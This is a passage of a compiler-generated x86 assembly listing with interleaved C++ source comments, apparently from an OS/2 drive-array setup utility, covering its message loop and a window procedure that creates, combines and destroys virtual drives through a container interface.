mov ebx,[ebp-048h]; swp
or bl,08h
; 1623 bool = WinSetWindowPos(hwndFrame, HWND_TOP,
push ebx
; 1622 swp.fl |= SWP_SHOW;
mov [ebp-048h],ebx; swp
; 1623 bool = WinSetWindowPos(hwndFrame, HWND_TOP,
push dword ptr [ebp-044h]; swp
push dword ptr [ebp-040h]; swp
push dword ptr [ebp-03ch]; swp
push dword ptr [ebp-038h]; swp
push 03h
push dword ptr [ebp-024h]; hwndFrame
call WinSetWindowPos
add esp,01ch
; 1625 if( bool == FALSE )
test eax,eax
jne @BLBL139
; 1626 Verbose(1, "DrvSetup", "WinSetWindowPos failed (last error %#x)",
mov ebx,[ebp-010h]; work
push dword ptr [ebx+04h]
call WinGetLastError
push eax
mov ecx,offset FLAT:@CBE86
sub esp,0ch
mov edx,offset FLAT:@CBE3
mov eax,01h
call Verbose
add esp,014h
; 1627 WinGetLastError(work->hab));
@BLBL139:
; 1632 while( WinGetMsg(work->hab, &qmsg, 0L, 0, 0) )
push 0h
lea ecx,[ebp-08ch]; qmsg
push 0h
mov ebx,[ebp-010h]; work
push 0h
push ecx
push dword ptr [ebx+04h]
call WinGetMsg
add esp,014h
test eax,eax
je @BLBL140
mov edi,ebx
@BLBL141:
; 1633 WinDispatchMsg(work->hab, &qmsg);
lea ebx,[ebp-08ch]; qmsg
push ebx
push dword ptr [edi+04h]
call WinDispatchMsg
; 1632 while( WinGetMsg(work->hab, &qmsg, 0L, 0, 0) )
push 0h
push 0h
push 0h
push ebx
push dword ptr [edi+04h]
call WinGetMsg
add esp,01ch
test eax,eax
jne @BLBL141
@BLBL140:
; 1637 WinDestroyWindow(hwndFrame);
push dword ptr [ebp-024h]; hwndFrame
; 1639 WinTerminate(work->hab);
mov esi,[ebp-010h]; work
; 1637 WinDestroyWindow(hwndFrame);
call WinDestroyWindow
; 1638 WinDestroyMsgQueue(hmq);
push dword ptr [ebp-01ch]; hmq
call WinDestroyMsgQueue
; 1639 WinTerminate(work->hab);
push dword ptr [esi+04h]
call WinTerminate
mov eax,esi
; 1640 delete work;
call __dl__FPv
add esp,0ch
; 1642 while(0);
@BLBL131:
; 1644 Verbose(2, "DrvSetup", "DrvSetupThread: stopped");
mov ecx,offset FLAT:@CBE87
mov edx,offset FLAT:@CBE3
mov eax,02h
call Verbose
; 1645 return;
add esp,08ch
pop esi
pop edi
pop ebx
pop ebp
ret
DrvsetupThread endp
; 888 DrvsetupWindowProc(HWND hwnd,ULONG msg,MPARAM mp1,MPARAM mp2)
DrvsetupWindowProc proc
push ebp
mov ebp,esp
push offset FLAT: _Exception_CPP
push fs:[0h]
mov fs:[0h],esp
push 0fffffefch
sub esp,045ch
; 889 {
mov dword ptr [ebp-0104h],0h; __es
; 888 DrvsetupWindowProc(HWND hwnd,ULONG msg,MPARAM mp1,MPARAM mp2)
push ebx
; 889 {
mov dword ptr [ebp-0fch],offset FLAT:@11e__fsm_tab; __es
; 888 DrvsetupWindowProc(HWND hwnd,ULONG msg,MPARAM mp1,MPARAM mp2)
push edi
push esi
; 891 WORK * const work = (PWORK)WinQueryWindowPtr(hwnd, 0);
push 0h
push dword ptr [ebp+08h]; hwnd
call WinQueryWindowPtr
; 894 switch( msg )
mov ecx,[ebp+0ch]; msg
; 891 WORK * const work = (PWORK)WinQueryWindowPtr(hwnd, 0);
add esp,08h
mov [ebp-020h],eax; work
; 894 switch( msg )
cmp ecx,02fh
jl @BLBL162
je @BLBL160
cmp ecx,04fh
jl @BLBL163
je @BLBL161
cmp ecx,0424h
je @BLBL151
cmp ecx,01002h
je @BLBL148
cmp ecx,0100ah
je @BLBL149
jmp @BLBL147
@BLBL163:
cmp ecx,030h
je @BLBL150
cmp ecx,035h
je @BLBL152
cmp ecx,04ch
je @BLBL159
jmp @BLBL147
@BLBL162:
cmp ecx,06h
jl @BLBL164
je @BLBL158
cmp ecx,07h
je @BLBL157
cmp ecx,020h
je @BLBL153
cmp ecx,029h
je @BLBL155
jmp @BLBL147
@BLBL164:
cmp ecx,01h
je @BLBL154
cmp ecx,02h
je @BLBL156
jmp @BLBL147
@BLBL148:
; 904 CreateCnr(hwnd, work);
mov edi,[ebp+08h]; hwnd
; 903 Verbose(3, "DrvSetup", "WUM_START");
sub esp,0ch
mov ebx,offset FLAT:@CBE3
mov ecx,offset FLAT:@CBE31
mov edx,ebx
mov eax,03h
call Verbose
add esp,04h
; 904 CreateCnr(hwnd, work);
mov edx,[ebp-020h]; work
mov eax,edi
call CreateCnr__FUlP5_WORK
add esp,04h
; 907 PTHR_DRVSCAN dta = new THR_DRVSCAN;
mov eax,04h
call __nw__FUi
add esp,04h
; 909 dta->parent = hwnd;
mov [eax],edi
; 910 tid = _beginthread(DrvscanThread, NULL, STACK_SIZE, dta);
push eax
mov ecx,0100000h
sub esp,0ch
xor edx,edx
mov eax,offset FLAT: DrvscanThread
call _beginthread
add esp,010h
; 911 if( tid == -1 )
cmp eax,0ffffffffh
jne @BLBL75
; 912 Verbose(1, "DrvSetup",
call _errno
mov edx,ebx
push dword ptr [eax]
mov ecx,offset FLAT:@CBE32
sub esp,0ch
mov eax,01h
call Verbose
add esp,010h
; 913 "_beginthread(DrvscanThread) failed - errno %u", errno);
@BLBL75:
; 916 return 0;
pop esi
; 915 regular = TRUE;
mov dword ptr @bcregular,01h
; 916 return 0;
pop edi
xor eax,eax
pop ebx
add esp,0460h
pop fs:[0h]
leave
ret
@BLBL149:
; 920 Verbose(3, "DrvSetup", "WUM_DEVTREE");
sub esp,0ch
mov ecx,offset FLAT:@CBE33
mov edx,offset FLAT:@CBE3
mov eax,03h
call Verbose
; 921 work->hwndScanner = HWNDFROMMP(mp2);
mov eax,[ebp-020h]; work
mov ecx,[ebp+014h]; mp2
mov [eax+0ch],ecx
; 922 DisplayDisk(work, NULL, (VRDev *)PVOIDFROMMP(mp1));
mov ecx,[ebp+010h]; mp1
xor edx,edx
call DisplayDisk__FP5_WORKP9_MYRECORDP5VRDev
add esp,0ch
; 923 return 0;
xor eax,eax
pop esi
pop edi
pop ebx
add esp,0460h
pop fs:[0h]
leave
ret
@BLBL150:
; 931 Verbose(3, "DrvSetup", "WM_CONTROL");
sub esp,0ch
mov ecx,offset FLAT:@CBE34
mov edx,offset FLAT:@CBE3
mov eax,03h
call Verbose
; 933 USHORT const id = SHORT1FROMMP(mp1);
mov eax,[ebp+010h]; mp1
; 931 Verbose(3, "DrvSetup", "WM_CONTROL");
add esp,0ch
; 933 USHORT const id = SHORT1FROMMP(mp1);
mov [ebp-02ah],ax; id
; 934 USHORT const ncode = SHORT2FROMMP(mp1);
shr eax,010h
mov [ebp-066h],ax; ncode
; 937 switch( ncode )
movzx eax,ax
cmp eax,068h
jl @BLBL172
je @BLBL170
cmp eax,06ah
je @BLBL166
cmp eax,06bh
je @BLBL167
cmp eax,077h
je @BLBL165
jmp @BLBL171
@BLBL172:
cmp eax,066h
je @BLBL169
cmp eax,067h
je @BLBL168
jmp @BLBL171
@BLBL165:
; 944 Verbose(3, "DrvSetup", "WM_CONTROL (id %#x, CN_CONTEXTMENU)", id);
mov ecx,offset FLAT:@CBE35
movzx ebx,word ptr [ebp-02ah]; id
push ebx
mov edx,offset FLAT:@CBE3
sub esp,0ch
mov eax,03h
call Verbose
add esp,08h
; 945 DoPopup(hwnd, work);
mov edx,[ebp-020h]; work
mov eax,[ebp+08h]; hwnd
call DoPopup__FUlCP5_WORK
add esp,08h
; 946 break;
jmp @BLBL147
@BLBL166:
; 949 Verbose(3, "DrvSetup", "WM_CONTROL (id %#x, CN_ENTER)",id);
mov ecx,offset FLAT:@CBE36
movzx ebx,word ptr [ebp-02ah]; id
push ebx
mov edx,offset FLAT:@CBE3
sub esp,0ch
mov eax,03h
call Verbose
; 951 PNOTIFYRECORDENTER rec = (PNOTIFYRECORDENTER)PVOIDFROMMP(mp2);
mov ebx,[ebp+014h]; mp2
; 949 Verbose(3, "DrvSetup", "WM_CONTROL (id %#x, CN_ENTER)",id);
add esp,010h
; 951 PNOTIFYRECORDENTER rec = (PNOTIFYRECORDENTER)PVOIDFROMMP(mp2);
mov [ebp-03ch],ebx; rec
; 953 if( rec == NULL )
test ebx,ebx
jne @BLBL76
; 954 return 0; /* dblk click on background? */
pop esi
xor eax,eax
pop edi
pop ebx
add esp,0460h
pop fs:[0h]
leave
ret
@BLBL76:
; 956 VRDev * dsk = ((PMYRECORD)(rec->pRecord))->dsk;
mov eax,[ebp-03ch]; rec
mov eax,[eax+08h]
mov eax,[eax+01ch]
mov [ebp-038h],eax; dsk
; 957 if( dsk == NULL )
test eax,eax
jne @BLBL77
; 958 MyMessageBox(0, hwnd,
mov edx,[ebp+08h]; hwnd
sub esp,0ch
mov ecx,offset FLAT:@CBE37
xor eax,eax
call MyMessageBox__FCiCUlPce
add esp,0ch
; 959 "Internal error, can't use NULL device");
jmp @BLBL78
@BLBL77:
; 960 else if( dsk->getParent() != NULL )
mov eax,[ebp-038h]; dsk
cmp dword ptr [eax+04h],0h
je @BLBL79
; 961 MyMessageBox(1, hwnd,
mov edx,[ebp+08h]; hwnd
sub esp,0ch
mov ecx,offset FLAT:@CBE38
mov eax,01h
call MyMessageBox__FCiCUlPce
add esp,0ch
; 963 " remove parent first.");
jmp @BLBL78
@BLBL79:
; 964 else if( dsk->isHostdrive() && dsk->isArray() == 0 )
sub esp,04h
mov edi,[ebp-038h]; dsk
mov ecx,[edi]
mov eax,[ecx+06ch]
add eax,edi
call dword ptr [ecx+068h]
add esp,04h
test al,al
mov eax,edi
je @BLBL81
mov ecx,[eax]
sub esp,04h
mov edx,[ecx+064h]
add eax,edx
call dword ptr [ecx+060h]
add esp,04h
test al,al
jne @BLBL81
; 965 MyMessageBox(1, hwnd,
mov edx,[ebp+08h]; hwnd
sub esp,0ch
mov ecx,offset FLAT:@CBE39
mov eax,01h
call MyMessageBox__FCiCUlPce
add esp,0ch
; 967 " create physdevice first.");
jmp @BLBL78
@BLBL81:
; 968 else if( !dsk->isWritable() )
sub esp,04h
mov eax,[ebp-038h]; dsk
mov ebx,[eax]
mov ecx,[ebx+0ch]
add eax,ecx
call dword ptr [ebx+08h]
add esp,04h
test al,al
jne @BLBL83
; 969 MyMessageBox(1, hwnd,
mov edx,[ebp+08h]; hwnd
sub esp,0ch
mov ecx,offset FLAT:@CBE40
mov eax,01h
call MyMessageBox__FCiCUlPce
add esp,0ch
; 972 " first.");
jmp @BLBL78
@BLBL83:
; 975 bool = (BOOL)WinSendMsg(rec->hwndCnr,
mov ebx,[ebp-03ch]; rec
push 080001h
push dword ptr [ebx+08h]
push 034ah
push dword ptr [ebx]
call WinSendMsg
add esp,010h
mov [ebp-024h],eax; bool
; 979 if( bool == FALSE )
test eax,eax
jne @BLBL78
; 980 Verbose(1, "DrvSetup",
mov ebx,[ebp-020h]; work
push dword ptr [ebx+04h]
call WinGetLastError
add esp,04h
mov ecx,offset FLAT:@CBE41
push eax
mov edx,offset FLAT:@CBE3
sub esp,0ch
mov eax,01h
call Verbose
add esp,010h
; 984 }
@BLBL78:
; 986 return 0;
pop esi
xor eax,eax
pop edi
pop ebx
add esp,0460h
pop fs:[0h]
leave
ret
@BLBL167:
; 990 Verbose(3, "DrvSetup", "WM_CONTROL (id %#x, CN_INITDRAG)", id);
mov ecx,offset FLAT:@CBE42
movzx ebx,word ptr [ebp-02ah]; id
push ebx
mov edx,offset FLAT:@CBE3
sub esp,0ch
mov eax,03h
call Verbose
add esp,04h
; 991 return DragInit(hwnd, work,(PCNRDRAGINIT)PVOIDFROMMP(mp2));
mov ecx,[ebp+014h]; mp2
mov edx,[ebp-020h]; work
mov eax,[ebp+08h]; hwnd
call DragInit__FUlCP5_WORKCP12_CNRDRAGINIT
add esp,0ch
pop esi
pop edi
pop ebx
add esp,0460h
pop fs:[0h]
leave
ret
@BLBL168:
; 994 Verbose(3, "DrvSetup", "WM_CONTROL (id %#x, CN_DRAGOVER)", id);
mov ecx,offset FLAT:@CBE43
movzx ebx,word ptr [ebp-02ah]; id
push ebx
mov edx,offset FLAT:@CBE3
sub esp,0ch
mov eax,03h
call Verbose
add esp,04h
; 995 return DragOver(hwnd, work, (PCNRDRAGINFO)PVOIDFROMMP(mp2));
mov ecx,[ebp+014h]; mp2
mov edx,[ebp-020h]; work
mov eax,[ebp+08h]; hwnd
call DragOver__FUlCP5_WORKP12_CNRDRAGINFO
add esp,0ch
pop esi
pop edi
pop ebx
add esp,0460h
pop fs:[0h]
leave
ret
@BLBL169:
; 998 Verbose(3, "DrvSetup", "WM_CONTROL (id %#x, CN_DRAGLEAVE)", id);
mov ecx,offset FLAT:@CBE44
movzx ebx,word ptr [ebp-02ah]; id
push ebx
mov edx,offset FLAT:@CBE3
sub esp,0ch
mov eax,03h
call Verbose
add esp,04h
; 999 return DragLeave(hwnd, work, (PCNRDRAGINFO)PVOIDFROMMP(mp2));
mov ecx,[ebp+014h]; mp2
mov edx,[ebp-020h]; work
mov eax,[ebp+08h]; hwnd
call DragLeave__FUlCP5_WORKP12_CNRDRAGINFO
add esp,0ch
pop esi
pop edi
pop ebx
add esp,0460h
pop fs:[0h]
leave
ret
@BLBL170:
; 1002 Verbose(3, "DrvSetup", "WM_CONTROL (id %#x, CN_DROP)", id);
mov ecx,offset FLAT:@CBE45
movzx ebx,word ptr [ebp-02ah]; id
push ebx
mov edx,offset FLAT:@CBE3
sub esp,0ch
mov eax,03h
call Verbose
add esp,04h
; 1003 return DragDrop(hwnd, work, (PCNRDRAGINFO)PVOIDFROMMP(mp2));
mov ecx,[ebp+014h]; mp2
mov edx,[ebp-020h]; work
mov eax,[ebp+08h]; hwnd
call DragDrop__FUlCP5_WORKP12_CNRDRAGINFO
add esp,0ch
pop esi
pop edi
pop ebx
add esp,0460h
pop fs:[0h]
leave
ret
@BLBL171:
; 1006 Verbose(3, "DrvSetup", "WM_CONTROL (id %#x, notify code %#x)",
mov ecx,offset FLAT:@CBE46
movzx eax,word ptr [ebp-066h]; ncode
push eax
movzx eax,word ptr [ebp-02ah]; id
push eax
mov edx,offset FLAT:@CBE3
sub esp,0ch
mov eax,03h
call Verbose
add esp,014h
; 1011 break;
jmp @BLBL147
@BLBL151:
; 1018 Verbose(3, "DrvSetup", "WM_CONTEXTMENU");
sub esp,0ch
mov ecx,offset FLAT:@CBE47
mov edx,offset FLAT:@CBE3
mov eax,03h
call Verbose
add esp,04h
; 1019 DoPopup(hwnd, work);
mov edx,[ebp-020h]; work
mov eax,[ebp+08h]; hwnd
call DoPopup__FUlCP5_WORK
add esp,08h
; 1020 break;
jmp @BLBL147
@BLBL152:
; 1029 Verbose(3, "DrvSetup", "WM_MENUEND");
sub esp,0ch
mov ecx,offset FLAT:@CBE48
mov edx,offset FLAT:@CBE3
mov eax,03h
call Verbose
add esp,0ch
; 1030 if( work->pmrMenu == NULL )
mov ebx,[ebp-020h]; work
cmp dword ptr [ebx+01ch],0h
jne @BLBL86
; 1032 WinSendMsg(work->hwndCnr, CM_SETRECORDEMPHASIS,
push 040000000h
push 0h
push 034ah
push dword ptr [ebx+08h]
call WinSendMsg
add esp,010h
; 1034 }
jmp @BLBL87
@BLBL86:
; 1043 SearchCnr(work->hwndCnr, (PFNSRCH)EmphSource, &bool, &dummy, NULL);
push 0h
lea ebx,[ebp-040h]; dummy
push ebx
; 1041 bool = FALSE;
mov dword ptr [ebp-024h],0h; bool
; 1042 dummy = 0;
mov dword ptr [ebp-040h],0h; dummy
; 1043 SearchCnr(work->hwndCnr, (PFNSRCH)EmphSource, &bool, &dummy, NULL);
sub esp,0ch
mov eax,[ebp-020h]; work
lea ecx,[ebp-024h]; bool
mov eax,[eax+08h]
mov edx,offset FLAT: EmphSource__FUlP9_MYRECORDPUlT3
call SearchCnr__FUlPFUlPvT2PUl_UlPvN23
add esp,014h
; 1044 }
@BLBL87:
; 1045 break;
jmp @BLBL147
@BLBL153:
; 1053 Verbose(3, "DrvSetup", "WM_COMMAND");
sub esp,0ch
mov ecx,offset FLAT:@CBE49
mov edx,offset FLAT:@CBE3
mov eax,03h
call Verbose
; 1055 USHORT const cmd = SHORT1FROMMP(mp1);
mov eax,[ebp+010h]; mp1
; 1053 Verbose(3, "DrvSetup", "WM_COMMAND");
add esp,0ch
; 1055 USHORT const cmd = SHORT1FROMMP(mp1);
mov [ebp-068h],ax; cmd
; 1058 switch( cmd )
movzx eax,ax
cmp eax,01bah
jl @BLBL180
je @BLBL176
cmp eax,01bbh
je @BLBL178
cmp eax,01bch
je @BLBL175
cmp eax,01bdh
je @BLBL174
jmp @BLBL179
@BLBL180:
cmp eax,01b8h
je @BLBL173
cmp eax,01b9h
je @BLBL177
jmp @BLBL179
@BLBL173:
; 1061 Verbose(3, "DrvSetup", "WM_COMMAND, IDM_CREATE_PDEV");
sub esp,0ch
mov ecx,offset FLAT:@CBE50
mov edx,offset FLAT:@CBE3
mov eax,03h
call Verbose
add esp,0ch
; 1063 PMINIRECORDCORE ap[1] = {(PMINIRECORDCORE)work->pmrMenu};
mov ebx,[ebp-020h]; work
; 1067 WinSendMsg(work->hwndCnr, CM_REMOVERECORD,
push 030001h
; 1063 PMINIRECORDCORE ap[1] = {(PMINIRECORDCORE)work->pmrMenu};
mov ecx,[ebx+01ch]
mov [ebp-044h],ecx; ap
; 1067 WinSendMsg(work->hwndCnr, CM_REMOVERECORD,
lea ecx,[ebp-044h]; ap
push ecx
push 0346h
push dword ptr [ebx+08h]
call WinSendMsg
add esp,010h
; 1073 WinPostMsg(work->hwndScanner, WUM_MKPDEV,
mov ecx,[ebx+01ch]
push 0h
push dword ptr [ecx+01ch]
push 0100dh
push dword ptr [ebx+0ch]
call WinPostMsg
add esp,010h
; 1076 return 0;
xor eax,eax
pop esi
pop edi
pop ebx
add esp,0460h
pop fs:[0h]
leave
ret
@BLBL174:
; 1081 Verbose(3, "DrvSetup", "WM_COMMAND, IDM_COMBINE_DRV");
sub esp,0ch
mov ebx,offset FLAT:@CBE3
mov ecx,offset FLAT:@CBE51
mov edx,ebx
mov eax,03h
call Verbose
add esp,0ch
; 1089 SearchCnr(work->hwndCnr, (PFNSRCH)QueryInuse,
lea eax,[ebp-0e8h]; info
push 0h
; 1088 info.cnt = 0;
mov dword ptr [ebp-0ech],0h; info
; 1089 SearchCnr(work->hwndCnr, (PFNSRCH)QueryInuse,
push eax
lea ecx,[ebp-0ech]; info
sub esp,0ch
mov eax,[ebp-020h]; work
mov edx,offset FLAT: QueryInuse__FUlP9_MYRECORDPUlPP9_MYRECORD
mov eax,[eax+08h]
call SearchCnr__FUlPFUlPvT2PUl_UlPvN23
add esp,014h
mov edx,ebx
; 1091 Verbose(2, "DrvSetup", "%lu drives are \"in-use\"",info.cnt);
push dword ptr [ebp-0ech]; info
mov ecx,offset FLAT:@CBE52
sub esp,0ch
mov eax,02h
call Verbose
add esp,010h
; 1095 ul = WinDlgBox(HWND_DESKTOP, hwnd, DrvtypeDlgProc,
lea eax,[ebp-0f0h]; info
push eax
push 02bch
push 0h
push offset FLAT: DrvtypeDlgProc
push dword ptr [ebp+08h]; hwnd
push 01h
call WinDlgBox
add esp,018h
; 1097 if( DID_OK == ul )
cmp eax,01h
jne @BLBL88
; 1107 memcpy(&newid[0], &usHostId, sizeof(usHostId));
lea eax,[ebp-030h]; newid
sub esp,0ch
mov ecx,02h
mov edx,offset FLAT:usHostId
call memcpy
add esp,08h
; 1108 *(PULONG)&newid[2] = time(NULL);
xor eax,eax
call time
add esp,04h
; 1110 switch( info.type )
mov ebx,[ebp-0f0h]; info
; 1108 *(PULONG)&newid[2] = time(NULL);
mov [ebp-02eh],eax; newid
; 1110 switch( info.type )
cmp ebx,02h
jl @BLBL186
je @BLBL183
cmp ebx,03h
je @BLBL184
cmp ebx,04h
je @BLBL185
jmp @BLBL181
@BLBL186:
cmp ebx,01h
jne @BLBL181
@BLBL182:
; 1113 drv = new VSingle(newid);
sub esp,04h
mov eax,030h
call __nw__FUi
add esp,04h
mov [ebp-010h],eax; __66
test eax,eax
je @BLBL90
lea edx,[ebp-030h]; newid
sub esp,08h
mov dword ptr [ebp-0104h],01h; __es
call __ct__7VSingleFPUc
add esp,08h
mov dword ptr [ebp-0104h],0h; __es
@BLBL90:
mov eax,[ebp-010h]; __66
mov [ebp-034h],eax; drv
; 1114 break;
jmp @BLBL181
@BLBL183:
; 1116 drv = new VChain(newid, (int)info.cnt);
sub esp,04h
mov eax,0130h
call __nw__FUi
add esp,04h
mov [ebp-014h],eax; __67
test eax,eax
je @BLBL92
lea edx,[ebp-030h]; newid
sub esp,0ch
mov ecx,[ebp-0ech]; info
mov dword ptr [ebp-0104h],02h; __es
call __ct__6VChainFPUci
add esp,0ch
mov dword ptr [ebp-0104h],0h; __es
@BLBL92:
mov eax,[ebp-014h]; __67
mov [ebp-034h],eax; drv
; 1117 break;
jmp @BLBL181
@BLBL184:
; 1119 drv = new VStripe(newid, (int)info.cnt);
sub esp,04h
mov eax,0130h
call __nw__FUi
add esp,04h
mov [ebp-018h],eax; __68
test eax,eax
je @BLBL94
lea edx,[ebp-030h]; newid
sub esp,0ch
mov ecx,[ebp-0ech]; info
mov dword ptr [ebp-0104h],03h; __es
call __ct__7VStripeFPUci
add esp,0ch
mov dword ptr [ebp-0104h],0h; __es
@BLBL94:
mov eax,[ebp-018h]; __68
mov [ebp-034h],eax; drv
; 1120 break;
jmp @BLBL181
@BLBL185:
; 1122 drv = new VMirror(newid, (int)info.cnt);
sub esp,04h
mov eax,0134h
call __nw__FUi
add esp,04h
mov [ebp-01ch],eax; __69
test eax,eax
je @BLBL96
lea edx,[ebp-030h]; newid
sub esp,0ch
mov ecx,[ebp-0ech]; info
mov dword ptr [ebp-0104h],04h; __es
call __ct__7VMirrorFPUci
add esp,0ch
mov dword ptr [ebp-0104h],0h; __es
@BLBL96:
mov eax,[ebp-01ch]; __69
mov [ebp-034h],eax; drv
; 1123 break;
@BLBL181:
; 1130 for( ul = 0; ul < info.cnt; ++ul )
cmp dword ptr [ebp-0ech],0h; info
jbe @BLBL97
mov ebx,[ebp-034h]; drv
mov esi,[ebp-020h]; work
xor edi,edi
@BLBL98:
; 1135 drv->addChild(info.child[ul]->dsk, False, Tru
; 1135 e);
push 01h
; 1132 PMINIRECORDCORE ap[1]
lea eax,dword ptr [ebp+edi*04h-0f0h]
; 1135 drv->addChild(info.child[ul]->dsk, False, Tru
; 1135 e);
sub esp,0ch
; 1132 PMINIRECORDCORE ap[1]
mov edx,[eax+08h]
mov [ebp-0468h],eax; @CBE89
mov [ebp-048h],edx; ap
; 1135 drv->addChild(info.child[ul]->dsk, False, Tru
; 1135 e);
mov esi,[ebx]
mov edx,[edx+01ch]
mov eax,[esi+08ch]
xor ecx,ecx
add eax,ebx
call dword ptr [esi+088h]
mov eax,[ebp-0468h]; @CBE89
mov esi,[ebp-020h]; work
; 1136 if( !info.child[ul]->dsk->isWritable() )
mov eax,[eax+08h]
; 1135 drv->addChild(info.child[ul]->dsk, False, Tru
; 1135 e);
add esp,0ch
; 1136 if( !info.child[ul]->dsk->isWritable() )
mov eax,[eax+01ch]
mov ecx,[eax]
mov edx,[ecx+0ch]
add eax,edx
call dword ptr [ecx+08h]
add esp,04h
test al,al
jne @BLBL99
; 1137 drv->forceUnwritable();
mov ecx,[ebx]
sub esp,04h
mov eax,[ecx+034h]
add eax,ebx
call dword ptr [ecx+030h]
add esp,04h
@BLBL99:
; 1141 WinSendMsg(work->hwndCnr, CM_REMOVERECORD,
push 030001h
lea eax,[ebp-048h]; ap
push eax
; 1130 for( ul = 0; ul < info.cnt; ++ul )
inc edi
; 1141 WinSendMsg(work->hwndCnr, CM_REMOVERECORD,
push 0346h
push dword ptr [esi+08h]
call WinSendMsg
add esp,010h
; 1130 for( ul = 0; ul < info.cnt; ++ul )
cmp [ebp-0ech],edi; info
ja @BLBL98
@BLBL97:
; 1145 WinPostMsg(work->hwndScanner, WUM_DEVTREE, drv, NULL);
push 0h
mov ebx,[ebp-020h]; work
push dword ptr [ebp-034h]; drv
push 0100ah
push dword ptr [ebx+0ch]
call WinPostMsg
add esp,010h
; 1146 }
jmp @BLBL103
@BLBL88:
; 1151 SearchCnr(work->hwndCnr, (PFNSRCH)EmphInuse, &bool, &dummy, NULL);
push 0h
lea ebx,[ebp-028h]; dummy
push ebx
; 1149 bool = FALSE;
mov dword ptr [ebp-024h],0h; bool
; 1150 dummy = 0;
mov dword ptr [ebp-028h],0h; dummy
; 1151 SearchCnr(work->hwndCnr, (PFNSRCH)EmphInuse, &bool, &dummy, NULL);
sub esp,0ch
mov eax,[ebp-020h]; work
lea ecx,[ebp-024h]; bool
mov eax,[eax+08h]
mov edx,offset FLAT: EmphInuse__FUlP9_MYRECORDPUlT3
call SearchCnr__FUlPFUlPvT2PUl_UlPvN23
add esp,014h
; 1152 }
@BLBL103:
; 1154 return 0;
pop esi
xor eax,eax
pop edi
pop ebx
add esp,0460h
pop fs:[0h]
leave
ret
@BLBL175:
; 1162 SearchCnr(work->hwndCnr, (PFNSRCH)EmphInuse, &bool, &dummy, NULL);
push 0h
lea ebx,[ebp-028h]; dummy
push ebx
; 1160 bool = FALSE;
mov dword ptr [ebp-024h],0h; bool
; 1161 dummy = 0;
mov dword ptr [ebp-028h],0h; dummy
; 1162 SearchCnr(work->hwndCnr, (PFNSRCH)EmphInuse, &bool, &dummy, NULL);
sub esp,0ch
mov eax,[ebp-020h]; work
lea ecx,[ebp-024h]; bool
mov eax,[eax+08h]
mov edx,offset FLAT: EmphInuse__FUlP9_MYRECORDPUlT3
call SearchCnr__FUlPFUlPvT2PUl_UlPvN23
add esp,014h
; 1163 return 0;
xor eax,eax
pop esi
pop edi
pop ebx
add esp,0460h
pop fs:[0h]
leave
ret
@BLBL176:
; 1170 Verbose(3, "DrvSetup", "WM_COMMAND, IDM_DESTROY_DRV");
sub esp,0ch
mov ecx,offset FLAT:@CBE53
mov edx,offset FLAT:@CBE3
mov eax,03h
call Verbose
add esp,0ch
; 1176 SearchCnr(work->hwndCnr, (PFNSRCH)EmphInuse, &bool, &dummy, NULL);
lea ecx,[ebp-028h]; dummy
push 0h
; 1174 bool = FALSE;
mov dword ptr [ebp-024h],0h; bool
; 1176 SearchCnr(work->hwndCnr, (PFNSRCH)EmphInuse, &bool, &dummy, NULL);
push ecx
; 1175 dummy = 0;
mov dword ptr [ebp-028h],0h; dummy
; 1176 SearchCnr(work->hwndCnr, (PFNSRCH)EmphInuse, &bool, &dummy, NULL);
sub esp,0ch
mov ebx,[ebp-020h]; work
lea ecx,[ebp-024h]; bool
mov eax,[ebx+08h]
mov edx,offset FLAT: EmphInuse__FUlP9_MYRECORDPUlT3
call SearchCnr__FUlPFUlPvT2PUl_UlPvN23
add esp,014h
; 1181 VRDrive * drv = (VRDrive *)work->pmrMenu->dsk; /* !!! */
mov edi,[ebx+01ch]
; 1184 response = WinMessageBox(HWND_DESKTOP, hwnd,
push 04014h
; 1181 VRDrive * drv = (VRDrive *)work->pmrMenu->dsk; /* !!! */
mov edi,[edi+01ch]
; 1184 response = WinMessageBox(HWND_DESKTOP, hwnd,
push 0ffffffffh
push offset FLAT:@CBE29
push offset FLAT:@CBE54
push dword ptr [ebp+08h]; hwnd
push 01h
call WinMessageBox
add esp,018h
; 1187 if( response == MBID_YES )
cmp eax,06h
jne @BLBL104
; 1193 WinSendMsg(work->hwndCnr, CM_REMOVERECORD,
push 030001h
; 1189 PMINIRECORDCORE ap[1] = {(PMINIRECORDCORE)work->pmrMenu};
mov ecx,[ebx+01ch]
mov [ebp-04ch],ecx; ap
; 1193 WinSendMsg(work->hwndCnr, CM_REMOVERECORD,
lea ecx,[ebp-04ch]; ap
push ecx
push 0346h
push dword ptr [ebx+08h]
call WinSendMsg
add esp,010h
; 1200 WinPostMsg(work->hwndScanner, WUM_DELDRV, drv, NULL);
push 0h
push edi
push 0100ch
push dword ptr [ebx+0ch]
call WinPostMsg
add esp,010h
; 1201 }
@BLBL104:
; 1203 return 0;
pop esi
xor eax,eax
pop edi
pop ebx
add esp,0460h
pop fs:[0h]
leave
ret
@BLBL177:
; 1206 Verbose(3, "DrvSetup", "WM_COMMAND, IDM_DELETE_PDEV");
sub esp,0ch
mov ecx,offset FLAT:@CBE55
mov edx,offset FLAT:@CBE3
mov eax,03h
call Verbose
add esp,0ch
; 1212 SearchCnr(work->hwndCnr, (PFNSRCH)EmphInuse, &bool, &dummy, NULL);
lea ecx,[ebp-028h]; dummy
push 0h
; 1210 bool = FALSE;
mov dword ptr [ebp-024h],0h; bool
; 1212 SearchCnr(work->hwndCnr, (PFNSRCH)EmphInuse, &bool, &dummy, NULL);
push ecx
; 1211 dummy = 0;
mov dword ptr [ebp-028h],0h; dummy
; 1212 SearchCnr(work->hwndCnr, (PFNSRCH)EmphInuse, &bool, &dummy, NULL);
sub esp,0ch
mov ebx,[ebp-020h]; work
lea ecx,[ebp-024h]; bool
mov eax,[ebx+08h]
mov edx,offset FLAT: EmphInuse__FUlP9_MYRECORDPUlT3
call SearchCnr__FUlPFUlPvT2PUl_UlPvN23
; 1217 VRDev * rdev = work->pmrMenu->dsk;
mov edi,[ebx+01ch]
; 1212 SearchCnr(work->hwndCnr, (PFNSRCH)EmphInuse, &bool, &dummy, NULL);
add esp,014h
; 1217 VRDev * rdev = work->pmrMenu->dsk;
mov edi,[edi+01ch]
; 1221 sprintf(str,"Are you sure you want to destroy"
lea ecx,[edi+08h]
movzx edx,byte ptr [ecx+05h]
push edx
movzx edx,byte ptr [ecx+04h]
push edx
movzx edx,byte ptr [ecx+03h]
push edx
movzx edx,byte ptr [ecx+02h]
push edx
movzx edx,byte ptr [ecx+01h]
push edx
movzx ecx,byte ptr [ecx]
push ecx
lea esi,[ebp-0378h]; str
sub esp,08h
